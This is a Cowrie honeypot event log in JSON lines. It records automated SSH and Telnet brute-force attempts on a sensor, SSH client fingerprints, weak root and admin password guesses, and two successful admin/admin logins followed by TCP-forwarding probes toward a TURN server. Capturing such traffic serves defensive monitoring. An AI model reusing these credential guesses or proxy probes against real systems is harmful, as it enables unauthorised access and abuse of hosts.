{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:11.199985Z","src_ip":"47.86.95.62","session":"7f8ea3652c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46360,"dst_ip":"10.17.0.5","dst_port":22,"session":"21365a15eb4e","protocol":"ssh","message":"New connection: 47.86.95.62:46360 (10.17.0.5:22) [session: 21365a15eb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:15.347587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:15.356514Z","src_ip":"47.86.95.62","session":"21365a15eb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:15.572694Z","src_ip":"47.86.95.62","session":"21365a15eb4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:16.235476Z","src_ip":"47.86.95.62","session":"21365a15eb4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:17.454100Z","src_ip":"47.86.95.62","session":"21365a15eb4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00867080688477,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:25.123439Z","src_ip":"187.222.242.146","session":"a4ea77589cc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":46184,"dst_ip":"159.203.135.109","dst_port":23,"session":"b99685c0143e","protocol":"telnet","message":"New connection: 187.222.242.146:46184 (159.203.135.109:23) [session: b99685c0143e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:36.313410Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":46412,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e2e25e9633e","protocol":"telnet","message":"New connection: 187.222.242.146:46412 (159.203.135.109:23) [session: 6e2e25e9633e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:37.612632Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":46752,"dst_ip":"159.203.135.109","dst_port":23,"session":"42d4af670f88","protocol":"telnet","message":"New connection: 187.222.242.146:46752 (159.203.135.109:23) [session: 42d4af670f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:40.187006Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36094,"dst_ip":"10.17.0.5","dst_port":22,"session":"cca78305e737","protocol":"ssh","message":"New connection: 47.86.95.62:36094 (10.17.0.5:22) [session: cca78305e737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:40.613577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:40.759614Z","src_ip":"47.86.95.62","session":"cca78305e737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:40.836872Z","src_ip":"47.86.95.62","session":"cca78305e737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:44.101690Z","src_ip":"47.86.95.62","session":"cca78305e737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:46.202528Z","src_ip":"47.86.95.62","session":"cca78305e737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37494,"dst_ip":"10.17.0.5","dst_port":22,"session":"e75e8b1ff078","protocol":"ssh","message":"New connection: 47.86.95.62:37494 (10.17.0.5:22) [session: e75e8b1ff078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:51.266629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:51.271728Z","src_ip":"47.86.95.62","session":"e75e8b1ff078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:51.484724Z","src_ip":"47.86.95.62","session":"e75e8b1ff078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:52.138047Z","src_ip":"47.86.95.62","session":"e75e8b1ff078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:53.352636Z","src_ip":"47.86.95.62","session":"e75e8b1ff078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":52000,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f81ecd4763b","protocol":"ssh","message":"New connection: 45.148.10.121:52000 (10.17.0.5:22) [session: 7f81ecd4763b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.261343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.269158Z","src_ip":"45.148.10.121","session":"7f81ecd4763b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.355499Z","src_ip":"45.148.10.121","session":"7f81ecd4763b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.612848Z","src_ip":"45.148.10.121","session":"7f81ecd4763b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.700648Z","session":"7f81ecd4763b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.786102Z","src_ip":"45.148.10.121","session":"7f81ecd4763b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.790266Z","src_ip":"45.148.10.121","session":"7f81ecd4763b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.886607Z","src_ip":"45.148.10.121","session":"7f81ecd4763b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":52004,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9e5d756ccf9","protocol":"ssh","message":"New connection: 45.148.10.121:52004 (10.17.0.5:22) [session: e9e5d756ccf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.970288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:09.975686Z","src_ip":"45.148.10.121","session":"e9e5d756ccf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:10.064804Z","src_ip":"45.148.10.121","session":"e9e5d756ccf9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:10.387470Z","src_ip":"45.148.10.121","session":"e9e5d756ccf9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:10.476716Z","session":"e9e5d756ccf9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:10.563900Z","src_ip":"45.148.10.121","session":"e9e5d756ccf9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:10.567599Z","src_ip":"45.148.10.121","session":"e9e5d756ccf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:10.657616Z","src_ip":"45.148.10.121","session":"e9e5d756ccf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59174,"dst_ip":"10.17.0.5","dst_port":22,"session":"0390982befeb","protocol":"ssh","message":"New connection: 47.86.95.62:59174 (10.17.0.5:22) [session: 0390982befeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:19.131528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:20.894341Z","src_ip":"47.86.95.62","session":"0390982befeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:20.900446Z","src_ip":"47.86.95.62","session":"0390982befeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:32.593752Z","src_ip":"47.86.95.62","session":"0390982befeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.0","message":"Connection lost after 23.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:42:42.178789Z","src_ip":"47.86.95.62","session":"0390982befeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58764,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a460be83407","protocol":"ssh","message":"New connection: 47.86.95.62:58764 (10.17.0.5:22) [session: 0a460be83407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:01.333606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:04.888007Z","src_ip":"47.86.95.62","session":"0a460be83407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:04.896077Z","src_ip":"47.86.95.62","session":"0a460be83407","protocol":"ssh"}
